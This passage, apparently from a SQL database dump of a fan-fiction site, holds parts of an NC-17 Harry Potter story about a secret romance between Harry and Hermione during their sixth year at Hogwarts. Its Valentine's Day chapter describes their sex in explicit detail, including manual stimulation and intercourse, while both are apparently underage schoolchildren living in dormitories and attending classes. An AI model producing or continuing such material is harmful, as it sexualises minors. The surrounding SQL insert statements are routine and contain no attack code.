we need more practice,&quot; she said and Harry laughed. He looked over her shoulder to make sure no one was coming down the stairs at this late hour, especially Ron, and then pulled her over in front of the fire. For the second time that night, poor Crookshanks got chased from his spot as they tumbled down onto couch together. <br>\n\n<br> &quot;What were your plans for the other night?&quot; Harry asked. Hermione was under him, her legs wrapped around his hips, her fingers brushing through his messy hair. When she pulled her hand away, he stroked the soft skin on her cheek and brushed his fingers across her lips. <br>\n\n<br> &quot;You\'re just going to have to wait and find out. I\'m saving them for another night,&quot; Hermione said, kissing his fingertips before pulling his mouth down to hers. Her tongue parted his lips and soon they were wrapped up in a very passionate kiss. <br>\n\n<br> She ground up against him, pulling away from the kiss and staring into his eyes. &quot;Do you want to? Here?&quot; he asked, desperate for her. <br>\n\n<br> &quot;We can\'t,&quot; she said, slipping her hand between them and reaching for the zipper on his jeans despite what she was saying.<br>\n\n<br> &quot;Why not? It\'s still safe, right? With the potion?&quot;<br>\n\n<br> &quot;It\'s not that. Someone might catch us. Harry, oh, I want to . . . but we can\'t,&quot; she said as he strained to press against her hand. She pulled it away before he got the chance to.<br>\n\n<br> &quot;When can we?&quot; he said, slightly breathless now. They kissed again, her legs wrapping tighter around him as he moved against her. Even through all their clothing, it still felt good. It just wasn\'t enough. <br>\n\n<br> Pulling away, she place her hand on his cheek. &quot;I\'ll start working on new plans as soon as possible. I promise it won\'t be long. I don\'t want to wait, either,&quot; Hermione said. <br>\n\n<br> It was then that someone gasped behind them rather loudly.<br>\n\n<br> They both sat up quickly. Lavender Brown was staring at them, a stack of books tucked in one arm, her other hand over her mouth. Hermione quickly went about getting her clothes in back in order and Harry straightened out his glasses that were now teetering on the edge of his nose. <br>\n\n<br> &quot;I . . . I . . . I couldn\'t sleep and I was going to catch up on some reading and I didn\'t . . . wow,&quot; Lavender somehow stammered through the grin on her face. &quot;I suspected something might be going on with you two. I suppose we all did over the years but . . .&quot;<br>\n\n<br> &quot;Years?&quot; Harry said, looking at Hermione. Lavender kept on going.<br>\n\n<br> &quot;. . . I always suspected it was Ron you liked, not Harry, or at least that Ron liked you. But then there was that boy you met at home and I didn\'t even think about it anymore. This is going to take everyone by surprise. I\'m not surprised but . . .&quot;<br>\n\n<br> &quot;You certainly look surprised,&quot; Hermione said and Lavender finally stopped talking. <br>\n\n<br> &quot;Lavender, please don\'t tell anyone about this. We only started . . .&quot; Harry began to say but he didn\'t exactly know what to say they started. <br>\n\n<br> &quot;Making out in the common room?&quot; Lavender supplied for him. <br>\n\n<br> &quot;What Harry is trying to say is he\'s only been my boyfriend since after the Christmas holidays. This hasn\'t been going on for years,&quot; Hermione said, sounding rather astonished that anyone would think so. <br>\n\n<br> &quot;Ron doesn\'t know yet. It would be better if he found out from one of us,&quot; Harry said and Lavender, who was still grinning, nodded her head. <br>\n\n<br> &quot;You also better tell Ginny,&quot; Lavender said.<br>\n\n<br> Harry rolled his eyes at the thought of telling all the Weasleys the news. &quot;We will.&quot;<br>\n\n<br> &quot;I won\'t say a word about this but I would suggest that until you do tell him, you don\'t do whatever it was you were doing in such a public place. Anyone could have walked in here,&quot; Lavender said, shuffling her books to the other arm. Instead of staying to read, she turned back towards the stairs to the dormitories and left them.<br>\n\n<br> Harry sat back hard against the couch and crossed his arms over his chest. &quot;She won\'t keep this a secret for long. Do you want to be the one to tell Ron?&quot;<br>\n\n<br> &quot;That wasn\'t exactly part of my plans,&quot; Hermione said. Harry stopped himself from reminding her that none of this was *exactly* part of her plans. <br>\n\n<br> &quot;I guess I have to. It\'s not like he hasn\'t hated me before. I suppose sooner or later, he\'ll get over this, too,&quot; Harry said with a heavy sigh, turning to look at Hermione. He remembered too clearly what it was like when Ron wasn\'t speaking to him. He was lonely with only Hermione . . . would he be lonely in the same way this time? He wasn\'t sure but somehow he imagined it wouldn\'t be the same anymore. <br>\n\n<br> &quot;Maybe Ron will surprise you. Maybe he\'ll be happy for us,&quot; Hermione said with an outpouring of optimism. <br>\n\n<br> &quot;Yes, because I know if it was the other way around and you were . . . you know, with Ron, I\'d be terribly happy for you,&quot; Harry said sarcastically, knowing full well just how miserable he\'d feel inside if that was indeed the case. <br>\n\n<br> ************<br>\n\n<br> Harry still hadn\'t figured out why he signed up for divination again this year. He didn\'t have to but since he found out about Professor Trelawney\'s prophesy last year, he had this strange desire to be here in this room with a woman who knew something about him before he was even born. <br>\n\n<br> Or perhaps it was to remind her that he was still alive despite her years of predicting otherwise. Most days, he found great pleasure just sitting in her class and . . . breathing. <br>\n\n<br> Today, on the other hand, he wished he could be breathing somewhere else. The air was more perfumed than usual and his eyelids kept fluttering shut. He couldn\'t imagine how he could be so tired after all those days of being in bed but he had to assume that it had something to do with staying up until sunrise talking to Hermione. <br>\n\n<br> He had to focus on the task they were doing. It wasn\'t easy considering Lavender Brown kept giving him a silly look and fogging up his \'Inner Eye.\' <br>\n\n<br> &quot;Mr. Potter, are you hiding something?&quot; Professor Trelawney asked. She was so close to him that he jumped when he heard his name.<br>\n\n<br> &quot;Er . . . no more than usual,&quot; Harry said. His mind hurriedly tried to go over any object he might be hiding and all he could come up with was that book Hermione gave him after Christmas. That was hidden away in his trunk. Technically then, he was hiding something. That must be what Professor Trelawney could \'see\' if she could see anything at all. But didn\'t most people hide at least one thing?<br>\n\n<br> &quot;Gazing into your ball, I would have to disagree. Yes, you are hiding something and unless you stop, I cannot say your future will be bright. Or perhaps you have a secret?&quot; she asked and he was quickly growing frustrated. He cast a glance at Lavender. She hid her face but he could tell she was giggling. <br>\n\n<br> &quot;No, I have no secrets. My life is an open book. As a matter of fact, my life is in books but you know that,&quot; Harry said, hoping she would just go away. She didn\'t. Instead, she stared more intently at the crystal ball in front of him before she gasped. <br>\n\n<br> &quot;Oh . . . I\'m afraid to tell you this . . .&quot;<br>\n\n<br> &quot;I\'m going to die before the end of the term. I know,&quot; Harry said, sitting back in his chair and shaking his head. If he had a million galleons for every time Professor Trelawney told him he would be dead by term\'s end and yet somehow managed to stay alive despite her, he\'d be an extremely wealthy man. He\'d spend some of that money getting her \'Inner Eye\' examined, that\'s for sure. <br>\n\n<br> Instead of responding to Harry\'s cheekiness, she moved over to gaze into Ron\'s ball. &quot;I can see that you\'re going to be betrayed,&quot; she said, moving on without adding more. <br>\n\n<br> Harry avoided eye contact with Ron for the rest of the class but he couldn\'t help feeling glad that she didn\'t tell Ron that he was going to be betrayed by someone who was hiding something. Was what they were doing actually betrayal? He didn\'t think so but it didn\'t matter what he thought. It was only going to matter what Ron thought. <br>\n\n<br> As they made their way out of the North Tower and to their next class, Ron elbowed Harry, grinning. &quot;So, what are you hiding, Harry? I hope it\'s chocolate -- or the fact that you did my essay for Binns last night instead of coming to bed,&quot; Ron said but Harry couldn\'t quite bring himself to smile. <br>\n\n<br> &quot;I\'m not hiding anything,&quot; Harry said, pleading his case once again. Lavender pushed past him right then, still grinning. Harry shot her a dirty look and she whispered something to Parvati Patil. They both turned to look at him and then went back to whispering. This wasn\'t good, Harry thought as his face flushed scarlet.<br>\n\n<br> &quot;Oh, I know, Harry.&quot;<br>\n\n<br> &quot;Good.&quot;<br>\n\n<br> &quot;But you should really let me know what you\'re hiding before you die -- especially if it\'s valuable,&quot; Ron said with a grin. <br>\n\n<br> &quot;Right,&quot; Harry said, not finding any humor in this at all.<br>\n\n<br> *************<br>\n\n<br> Harry knew that Hermione had something big planned for Valentine\'s Day but he didn\'t know what. The night before, she spent a long time looking through a pile of spell books at one of the tables in the common room but she wouldn\'t let him near. He guessed it might be an enchanted card of some sort and all he hoped for was that it didn\'t sing upon opening it. At breakfast, Hedwig dropped several cards before him and before Ron could say anything, Harry tucked the one with Hermione\'s handwriting on the envelope away in his books to read later. <br>\n\n<br> When he finally could read it, he realized why Hermione was smiling all through breakfast. It not only contained a Valentine greeting (complete with a charm to make little red hearts flare up above the card for a few seconds) but described her plans for that evening in detail. A warmth shot through is body just thinking about it and he barely had time to tuck the card away before Ron caught up with him in the corridor. <br>\n\n<br> &quot;Who sent you Valentines?&quot; Ron asked and Harry shrugged. &quot;Ginny again? I thought so.&quot;<br>\n\n<br> Harry didn\'t correct him. He had received one from Ginny but that wasn\'t the one he hid. Ginny sent him one every year and most everyone knew it. <br>\n\n<br> &quot;Who\'d you get a card from?&quot; Harry asked, noticing several pink envelopes tucked in one of Ron\'s books. <br>\n\n<br> &quot;Oh, just my mom. And Hermione,&quot; Ron said with a sly grin as they continued to walk to their first class of the day.<br>\n\n<br> &quot;Hermione?&quot; Harry asked. Hermione said she had to go to the library before class but she would catch up with them. He looked over his shoulder for her but she wasn\'t behind them. Why would she have sent a card to Ron? <br>\n\n<br> &quot;Yes, Hermione. Just because she stays up late helping you with your homework doesn\'t mean that - -&quot;<br>\n\n<br> &quot;There you two are,&quot; Hermione said, coming around the corner and interrupting Ron. &quot;We\'re going to be late for class if we don\'t hurry and I don\'t want to serve detention tonight.&quot;<br>\n\n<br> &quot;What are you doing tonight?&quot; Ron asked, looking rather puzzled. <br>\n\n<br> &quot;Knowing Hermione, loads of homework,&quot; Harry said and she smiled at him, her eyes twinkling. <br>\n\n<br> &quot;Oh, yes. Loads,&quot; she said <br>\n\n<br> &quot;That\'s so very sad,&quot; Ron said, shaking his head as he started off towards the classroom before them. <br>\n\n<br> Hermione took hold of Harry\'s arm as if she was pulling him towards their destination but he was hoping it was just so she could touch him. He certainly didn\'t mind the contact. Leaning close enough so that their heads were nearly touching, she whispered, &quot;And I have plans to \'practice\' something with a very good friend, too. That is, if that\'s okay with him. Is it?&quot;<br>\n\n<br> The sound of her voice made Harry\'s heart race. He was having one of those moments where he couldn\'t believe someone actually desired him like that and that she needed him as desperately as he needed her. <br>\n\n<br> &quot;That friend can\'t imagine anything else he\'d rather be practicing,&quot; Harry said as she pulled her hand away from his arm, letting her fingers linger on the sleeve of his robe for just a second. <br>\n\n<br> &quot;Not even Quidditch?&quot; she asked, tilting her head as she waited for his answer. <br>\n\n<br> He pretended he had to think about it and she punched him lightly on the arm. He then remembered something that came to mind the first (and last) time they were together in his bed and he leaned even closer to her and said, &quot;You\'re better than Quidditch. You\'re better than . . . everything.&quot;<br>\n\n<br> She smiled brightly and he fought the urge to kiss her right then and there. It was then that Ron turned around and called for them to hurry up and they both quickly took a step away from each other. &quot;Well, are you coming or what?&quot; Ron called again.<br>\n\n<br> &quot;We\'ll be right there,&quot; Harry called back and Ron turned around and continued down the nearly empty corridor. Since no one was paying attention to them, Harry took hold of Hermione\'s arm, leading her down the hall. &quot;Can I ask you one thing?&quot; <br>\n\n<br> &quot;What?&quot; Hermione asked.<br>\n\n<br> &quot;Why did you send Ron a Valentine?&quot; he asked, trying not to sound like a possessive boyfriend but failing. &quot;And who sent you those other cards?&quot;<br>\n\n<br> &quot;Jealous, Harry?&quot; Hermione asked, a hint of disapproval at his questions showing up in her voice. <br>\n\n<br> &quot;I . . . no.&quot; <br>\n\n<br> He wouldn\'t let himself feel that way. It wasn\'t easy considering how they got started in the first place but she was with him now and nothing was going to change that. At least nothing he had power over. <br>\n\n<br> &quot;Good. I only sent him one because I thought it would look rather suspicious if you got one and he didn\'t. Trust me, Harry, I didn\'t write the same things in his that I wrote in yours,&quot; she answered.<br>\n\n<br> &quot;Good thinking,&quot; he said. &quot;About sending him a card that is. Of course, you\'ve always been the smart one.&quot;<br>\n\n<br> &quot;And you\'ve always been . . .&quot; Hermione started to say but before she could finish Ron called after them again and they had to race down the corridor to make it in time. <br>\n\n<br> ***********<br>\n\n<br> With great pleasure, Harry couldn\'t help but notice that Hermione\'s fingers clutched the paper card he had made for her just like she used to do with the letters she received from Drew. It wasn\'t much of a card . . . just paper from a scroll folded into a small rectangle with a few words scribbled on it. The card he made didn\'t even do anything special like sing or burst into hearts but she still held onto it. <br>\n\n<br> He followed his girlfriend down the deserted corridor, looking back often to make sure Mrs. Norris wasn\'t out spying on them though on a day like today, Harry assumed the cat had her work cut out for her. He should have grabbed his invisibility cloak before they headed out but his mind could only focus on being with Hermione. <br>\n\n<br> Reaching their destination, Hermione took her wand out of her robe and unlocked the door. She pulled him into the room and locked the door behind them even though that was often pointless here at Hogwarts. <br>\n\n<br> &quot;I wanted to do something to the room but I didn\'t have time with all the homework that was due today,&quot; she said, sounding rather disappointed in herself.<br>\n\n<br> With her wand, she made several small flames flicker to life out of nothing and they set the room aglow in shades of pink and yellow. It was just another empty room in the castle, dank and dusty from not being used in a while. Various statues lined the far wall and hanging crooked, one of the ugliest pieces of artwork Harry had ever seen. If it had a human subject, they were out visiting another painting now. <br>\n\n<br> Harry stopped staring at the junk stored in the room and that\'s when he noticed that Hermione had at least supplied them with several blankets and a few pillows, all laid out neatly on the floor. She stepped in front of him and he reached out, brushing her hair to the side. He realized his hands were shaking as if they hadn\'t done this before. There was one thing that he hadn\'t managed to make her do yet and he spent part of the afternoon shut behind the curtains on his bed reading their book, determined that this would be the time. He wanted her to enjoy this as much as he did.<br>\n\n<br> Now he just had to figure out how to go about doing that without looking like a blundering idiot. <br>\n\n<br> Hermione shed her robe, dropping it on the stone floor and his eyes traveled over her body. She was wearing a skirt and although she didn\'t bother to take it off the last two times they did this, he wanted to see her with absolutely nothing on this time. Except maybe her kneesocks. It was rather drafty in here so maybe she could keep those on. <br>\n\n<br> He stepped closer to her and, putting his hands around her waist, pulled her near. Their bodies pressed together and he began to slide his hands under her sweater, ready to tug it over her head. <br>\n\n<br> &quot;This time, can we take it slower?&quot; she whispered and he swallowed hard, not sure how he was going to be able to honor her request. The first time he had no clue what was happening. The second time was all fumbling around in the dark because he still didn\'t know what was happening. This time he wanted it to be different but he ached for her. <br>\n\n<br> &quot;Okay,&quot; he said, pulling his hands out of her sweater and resting them on her hips. They stood there like that for a while, neither of them making a sound. She looked up at him, her body snuggled close, her eyes searching his. <br>\n\n<br> &quot;Harry?&quot; <br>\n\n<br> &quot;Yes?&quot; <br>\n\n<br> &quot;Not that much slower,&quot; she said and he smiled, relieved. <br>\n\n<br> His hands went back under her sweater, tugging it up and over her head. Harry looked down at the curve of her breasts where her pale skin met the shiny satin of her bra and he had to touch it. His finger ran across the edge of the smooth fabric down to the center and back up the other side, feeling her tremble slightly under his gentle touch. He reached behind her and after a few failed attempts at the clasp, he finally managed to get her bra undone. She slipped it off, letting it fall to the floor. <br>\n\n<br> After a drawn out moment of admiration, he looked up to find that Hermione was smiling at him. <br>\n\n<br> &quot;What?&quot; he asked. <br>\n\n<br> &quot;You,&quot; she said, dropping his card and taking his hands in hers, their fingers twining together. <br>\n\n<br> &quot;What about me?&quot;<br>\n\n<br> &quot;You, Harry Potter, like breasts,&quot; she said. A cold gust of air came from seemingly nowhere and she shivered. He pulled one hand free of hers and looked down again, brushing his fingertips against her nipples, feeling them harden even more under his touch. <br>\n\n<br> &quot;They are rather nice,&quot; he said, sinking down to his knees and resting the side of his face against her. He sighed as she ran her fingers through his hair, playing with the unruly strands that wouldn\'t lie flat. <br>\n\n<br> &quot;I think I love you,&quot; she said, her voice so soft he could barely hear her. &quot;I know I\'ve loved you for a long time as my best friend but now I think I love you more than I ever imagined it was possible to love someone.&quot;<br>\n\n<br> Her words tugged at his heart, making it leap from his chest and beat so hard and so fast the sound of it had to be echoing around the castle room. She sunk to her knees before him and the look in her eyes told him that her words were true. <br>\n\n<br> &quot;I love you, too,&quot; he said, drawing her near, leading her into a kiss. There was this moment of fumbling around and of desperation, of hands pushing and pulling and bodies trying to get closer. Then once again, they were just Harry and Hermione, best friends and lovers who were never going to make it as far as the blankets on the other side of the room. <br>\n\n<br> ************<br>\n\n<br> &quot;Do you like that?&quot; Harry asked, his fingers moving carefully between her thighs. She moaned her reply. The cold floor of the castle was beneath them and the only warmth came from where their bodies were in contact. He had her skirt pulled up and her knickers pushed down as he tried his best to figure out what she needed. &quot;Tell me what you like.&quot;<br>\n\n<br> &quot;I like you. I like whatever you do,&quot; she said, grinding against his touch. <br>\n\n<br> &quot;Hermione, show me,&quot; he whispered and she put her hand over top of his, slowing him down just a bit. He watched her eyes, using her response and her touch as his guide. <br>\n\n<br> &quot;This -- I like this,&quot; she said, turning away from his stare. Was that embarrassment on her face? How could she be embarrassed in front of him? She didn\'t make a sound as he did this to her. It was the quietest Hermione had ever been in a very long time and he was glad he was the reason. She pulled her hand away, letting him do this himself, and he watched as her mouth dropped open slightly and a barely audible throaty moan escaped past her lips. <br>\n\n<br> Was she close? How would he know? He hoped she would tell him but she was so lost in the sensations that he wasn\'t sure she\'d be able to. <br>\n\n<br> It was then that it happened. Her fingers searched the floor beside them, feeling for the long forgotten Valentine she had dropped earlier. She gripped the delicate paper, crinkling it a little as he watched wave after wave of pleasure move over her body. <br>\n\n<br> &quot;Did you?&quot; he asked just to be sure, his fingers not giving up yet. She gasped and pushed his hand away.<br>\n\n<br> &quot;Yes,&quot; she answered, her fingers letting go of the paper and moving to his face. &quot;Wow.&quot;<br>\n\n<br> &quot;I told you it would get better with time,&quot; he said, sounding so sure of himself now that he could see exactly what his touch could do to her. <br>\n\n<br> &quot;We aren\'t done yet,&quot; she said, her hands moving from his face and down his chest. Except for his robe, he was still completely dressed, not wanting to stop long enough earlier to do anything about it. <br>\n\n<br> &quot;No?&quot; he asked, smiling at her.<br>\n\n<br> &quot;We\'re a long way from done,&quot; she said, sitting up next to him and kicking her knickers off the rest of the way. &quot;But can I ask a favor?&quot;<br>\n\n<br> &quot;What?&quot;<br>\n\n<br> &quot;Can we move to the blankets? This floor is hard and my bum is freezing,&quot; she asked and he laughed.<br>\n\n<br> &quot;Sure,&quot; he said, standing up and offering her his hand. He tugged her up from the ground and once she was standing, she shed her skirt, leaving her nearly naked. Her skin was awash in the shades of the tiny flames that were still flickering all around them and he watched as she, more confident than ever, walked over to the blankets and gestured for him to come join her. He certainly wasn\'t going to say no at this point. <br>\n\n<br> She yanked his shirt up and over his head and he watched as her hands unfastened his pants and eased them down over his hips. He was already hard from wanting her. <br>\n\n<br> &quot;If I have to be naked in this cold and drafty room, so do you,&quot; she said, tugging his boxers down a little too quickly. <br>\n\n<br> &quot;Gently, Hermione,&quot; he said, grabbing her hand as he flinched ever so slightly. He stepped out of his shorts and noticed that she was looking him over. He felt a blush creep up his neck and across his face and he looked away when her eyes finally moved up his body and met his. <br>\n\n<br> &quot;Interesting,&quot; Hermione said and he turned to back to find that she was studying him again, her eyes traveling all over his body. It was the first time they were like this, completely naked before each other. Leave it to Hermione to find him \'interesting\' right at this moment. <br>\n\n<br> &quot;Interesting in what way?&quot; he asked, letting go of her hand and crossing his arms over his chest. <br>\n\n<br> &quot;I just . . . I don\'t know. It\'s like I get this part of you no one else can have and there are times I can\'t believe this is happening. Someday when I\'m old and living alone with my books and a lot of cats, I\'ll look back on all this and remember that I was Harry Potter\'s first,&quot; she said, sounding rather wistful. <br>\n\n<br> &quot;You make it sound like we won\'t be together,&quot; he said and her eyes met his again. Something in them had changed but he wasn\'t sure what. She closed her eyes, and when she opened them again, it was gone. <br>\n\n<br> &quot;I didn\'t plan on discussing any of that tonight,&quot; she said, going down to her knees and pulling him with. <br>\n\n<br> &quot;Your plans rarely work out as intended,&quot; Harry said, watching as she stretched out across the blanket and parted her legs, waiting for him. <br>\n\n<br> &quot;No, they don\'t. But I think what does happen is often better than what I actually planned for,&quot; she said as he crawled over to her, fitting himself perfectly between her knees and thighs. She reached between them and helped guide him in and he sighed in contentment as he sunk into her. Everything around them was growing colder but she was so warm. This was truly where he belonged. <br>\n\n<br> She winced slightly as he pushed in further and he stopped moving. &quot;Does it still hurt?&quot; he asked. <br>\n\n<br> &quot;We don\'t do it often enough,&quot; she whispered, the feel of her wrapped around him filling his brain with so many sensations at once he could hardly focus on her words. Sliding her hands up his arms and then down over his shoulders, they came to rest on his backside, urging him on. &quot;Move, Harry. Please move.&quot;<br>\n\n<br> He did, thrusting into her slowly at first to make sure she was going to be okay. When she didn\'t say anything else but let out a soft, low moan he moved a little faster, enjoying this quite thoroughly. He couldn\'t take his eyes off of hers and when she smiled up at him he was certain his heart was going to melt. Just like her, he couldn\'t believe this was happening in his life. He still couldn\'t believe he could love someone like he did her and that she loved him back enough to lie under him and give him this. It amazed him to no end. <br>\n\n<br> Hermione wrapped her legs higher around his waist and he couldn\'t think about anything but how good it felt. He couldn\'t imagine that it could get better than this but then she started thrusting back against him and rolling her hips ever so slightly and he knew he couldn\'t last that much longer. <br>\n\n<br> She was right -- they needed to do this more often. <br>\n\n<br> He felt her tighten all her muscles around him (where did she learn to do that?) and he came hard, his body jerking in uncontrollable spasms. She stopped moving under him and just watched and he became quite self-conscious. He was sure that he looked pretty stupid as he gasped for breath and struggled to gain some control. Collapsing on top of her, he tried to catch is breath as he felt her hands wander over his body again, moving to his face and his hair. <br>\n\n<br> It was growing late and he knew they\'d have to get back to the dormitory soon. Hermione had made up the story they\'d tell anyone if they asked where they were. Harry hoped Lavender was already in bed and he wouldn\'t have to meet her knowing stare when they returned. He also hoped Ron was in bed so he wouldn\'t have to lie to his other best friend. <br>\n\n<br> &quot;I wish we could spend the night together,&quot; Hermione said as Harry slipped out of her body and rolled next to her. She grabbed another blanket so they could wrap up in it and he had to agree that it would be so easy to spend the night with her. <br>\n\n<br> &quot;Someday we will,&quot; he said, pulling her into his arms. &quot;I don\'t know how or when, but we will.&quot;<br>\n\n<br> The lights she created were starting to sputter out and before the final one lost its glow, Harry though he saw something move across the one painting hanging on the wall. Just what he needed was to get caught by some antiquated piece of art. <br>\n\n<br> &quot;Do we have to go just yet?&quot; Hermione asked into the darkness, wrapping her legs around his. He could feel her warm kneesocks as she ran her foot down his leg and it made him smile. If she didn\'t want to go, he\'d stay here with her for as long as they could get away with it. He\'d stay with her forever even if it meant they\'d both be expelled. Right now, he didn\'t care.<br>\n\n<br> &quot;No, we don\'t have to go yet,&quot; he said and Hermione sighed with contentment. <br>\n\n<br> *************<br>\n\n<br> &quot;Oh!&quot; a voice squealed with delight. &quot;I see that ickle Harry Potter\'s not so ickle anymore!&quot;<br>\n\n<br> Harry opened his eyes and sat straight up to see Peeves circling above them, casting the only glow in the room. He was doing somersaults in the air and twisting elaborately around the old statues, stopping only when he was directly overhead. Hermione stirred, opened her eyes, and moaned. <br>\n\n<br> &quot;Damn,&quot; she said, pulling the blanket tighter around her and burying her face into the pillow. <br>\n\n<br> &quot;I\'m going to tell everyone that Harry Potter\'s got himself a girlfriend and she\'s such a pretty maid,&quot; Peeves said, slowing down enough to poke his head between his legs. &quot;He told her that he loved her and then Harry Potter got . . .&quot;<br>\n\n<br> &quot;That\'s enough!&quot; Harry said, standing up with one of the blankets wrapped around his waist. &quot;Peeves, please don\'t tell anyone.&quot;<br>\n\n<br> &quot;You can\'t stop me!&quot; Peeves said, circling towards the door. &quot;Who should I tell first? Filch?&quot;<br>\n\n<br> &quot;Peeves, could you please just this once not tell anyone about this,&quot; Harry pleaded although he knew it would do no good. <br>\n\n<br> &quot;Why shouldn\'t I?&quot; Peeves asked, stopping before he went through the door, probably racing off to let Filch know where to look for them. <br>\n\n<br> &quot;Because . . .&quot; Harry started but he had no idea what to tell the poltergeist. <br>\n\n<br> &quot;Oh, go on already, Peeves,&quot; Hermione said from beside him. &quot;If you want to tell, go and do it. What are you waiting for?&quot; <br>\n\n<br> Harry looked down to see her sitting up, still wrapped in a blanket, giving Peeves a quite a serious glare. &quot;Hermione, what are you saying? We\'ll get in trouble. You\'ll get in trouble and then there\'s your parents,&quot; Harry said.<br>\n\n<br> &quot;I don\'t care. Let the whole world know. I love you, Harry, and that\'s all that matters,&quot; she said, looking up at him. Harry turned to Peeves and he didn\'t look as happy as he did a few seconds ago. Hermione reached out and held his hand and that was all he needed. &quot;Besides, who are they going to believe? You or him?&quot;<br>\n\n<br> &quot;Go on then,&quot; Harry said to Peeves confidently, daring him to go out and tell everyone. <br>\n\n<br> &quot;I know what you\'re doing! It\'s going to be a race -- to see if I can tell Filch before you can make it to your rooms where you belong. I love a race!&quot; Peeves said, looking them over. &quot;On the count of three . . . one . . .&quot;<br>\n\n<br> He was gone before he even said two. <br>\n\n<br> &quot;Blast! What do we do now?&quot; Harry said, pulling his clothes on in the darkness as fast as he could and tossing Hermione any of her garments when he found them. She found her wand and quickly provided them some light as she gathered the blankets together.<br>\n\n<br> &quot;What should I do with these?&quot; she asked. <br>\n\n<br> &quot;I don\'t know! We don\'t have time. Shove them in that closet,&quot; Harry said, nodding towards the far wall. Tugging her skirt straight at the same time, Hermione dashed over to the closet and pulled the door open only to find Peeves staring at her, a huge grin on his face. <br>\n\n<br> &quot;Two . . .&quot; he said slowly and she tossed the blankets through him, slamming the door.<br>\n\n<br> Harry grabbed her hand and pulled her out the door, checking both ways down the corridor to make sure no one was coming already. <br>\n\n<br> &quot;Oh, wait!&quot; Hermione said, turning back into the room. A second later she came out with the Valentine he made her clutched between her fingers. &quot;I don\'t want to lose this.&quot;<br>\n\n<br> &quot;Three! Wheeeeee!&quot; they heard echo from inside the room and with that, they ran towards the Gryffindor tower faster than they had ever run in their lives. <br>\n\n<br> **************<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(18, 3, ' \n\n\n\n<title>Harry Potter and the Infernal Plan Part III</title>\n\n\n\n<p>Harry Potter and the Infernal Plan Part III<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> The Quidditch match between Ravenclaw and Slytherin had now gone on for eight hours in weather so dreary the players kept getting lost in the mist. It was late in the afternoon and it wasn\'t going to get any better when what little light there had finally vanished. Harry, there to study the team Gryffindor would face depending on the outcome, was beginning to get restless and he had passed being merely bored hours ago. <br>\n\n<br> The weather was so bad that he couldn\'t even convince Ron to come join him, which was probably for the best since Harry still hadn\'t told his best friend about his other best friend. The only other Gryffindor here was Colin who was too cold to even take pictures. Instead of focusing on the match like he should be, Harry\'s eyes would periodically search around to see if Hermione had come out of the castle to keep him company. It was a foolish thing to hope for considering the weather and everything else. <br>\n\n<br> Ever since the incident with Peeves on Valentine\'s Day, they had kept their distance from each other. If Peeves had indeed told on them, no one seemed concerned about it. Harry was just thankful for every day that passed without being called in to talk to Professor McGonagall. <br>\n\n<br> Harry shifted in his seat, wrapping his cloak tightly around him to keep from shivering. He had spotted the Snitch no less than half a dozen times in the last two hours and was amazed that neither team had managed to catch it yet. Of course, he knew quite well how different it was out there on a broom with Bludgers coming at one\'s head. <br>\n\n<br> He was just about to give up and go back to the castle when he saw Hermione, standing there at the end of the row covered completely in her cloak. His heart started beating faster like it often did now when she showed up just when he hoped she would. She squeezed past the other onlookers and sat in a space next to him that was so small, it forced them to get quite cozy.<br>\n\n<br> &quot;I was just about to go in,&quot; Harry said.<br>\n\n<br> &quot;That figures. I give up my study time and hike through the muck to get out here just to see you and now you tell me you were about to leave,&quot; Hermione said, rolling her eyes in mock indignation.<br>\n\n<br> &quot;We can stay until the end if you\'d like,&quot; Harry said, sighing as Cho let the Snitch go by her again. Thankfully, Malfoy wasn\'t doing much better. &quot;It should only last another ten or so hours.&quot;<br>\n\n<br> &quot;It\'s not as exciting when you\'re not playing,&quot; Hermione said after watching for less than a minute. &quot;Of course, this way I don\'t have to worry about you getting yourself killed.&quot; <br>\n\n<br> &quot;Or worse -- maimed just enough to ruin your plans. Are you ever going to tell me what those plans were?&quot; Harry whispered into his girlfriend\'s ear. <br>\n\n<br> &quot;You\'ll just have to wait,&quot; Hermione whispered back. Colin turned around just then, gave them a big smile and moved up a few rows to be closer. <br>\n\n<br> &quot;Slow game, isn\'t it, Harry?&quot; Colin asked and Harry felt Hermione move away. <br>\n\n<br> &quot;It is,&quot; Harry answered, focusing on the players again and hoping that Colin would leave them alone again soon so Hermione could snuggle back up to him. <br>\n\n<br> &quot;Not like when you play. You really are the best player,&quot; he said and Harry shook his head.<br>\n\n<br> &quot;I\'m not sure about that,&quot; Harry mumbled and Hermione elbowed him in the side. He added a quick, &quot;Maybe.&quot;<br>\n\n<br> &quot;Can I take a picture of the two of you?&quot; Colin asked, holding his camera up before either of them could answer. There was never much point in telling him no anyway. Harry and Hermione both sat up straight, trying not touch at all but in the crowd, that wasn\'t easy to accomplish. Someone jostled them closer just as Colin snapped the picture. &quot;Thanks! I think I\'ll be going in now. This could go on forever.&quot;<br>\n\n<br> Harry watched Colin leave and then turned to face Hermione. She looked envious that Colin was heading towards the warmth of the castle while they were still stuck out here in the cold rain. <br>\n\n<br> &quot;Would you like to leave?&quot; he asked. She nodded her head and they both stood up, people grumbling at them as they moved down the row. <br>\n\n<br> They made their way out and when Harry was sure no one was watching, he grabbed Hermione\'s hand in his. They were just two students out in the cold completely concealed under their cloaks. Who would ever be able to tell it was them? <br>\n\n<br> &quot;Do you think it\'s safe?&quot; Hermione asked.<br>\n\n<br> &quot;Do I think what\'s safe?&quot; <br>\n\n<br> &quot;For me to make plans again,&quot; she said and he stopped walking. She came to a halt next to him and he still held onto her hand, thinking. She pushed the hood of cloak down and he stared at her, reaching out to gently touch a rosy cheek. He didn\'t feel like waiting for her to make plans. He simply wanted to be with his girlfriend right now. Hermione finally asked, &quot;What?&quot;<br>\n\n<br> &quot;Oh, to hell with the bloody plans. Come with me,&quot; Harry said, pulling her in the opposite direction of the castle. <br>\n\n<br> ************<br>\n\n<br> The changing room was dark and 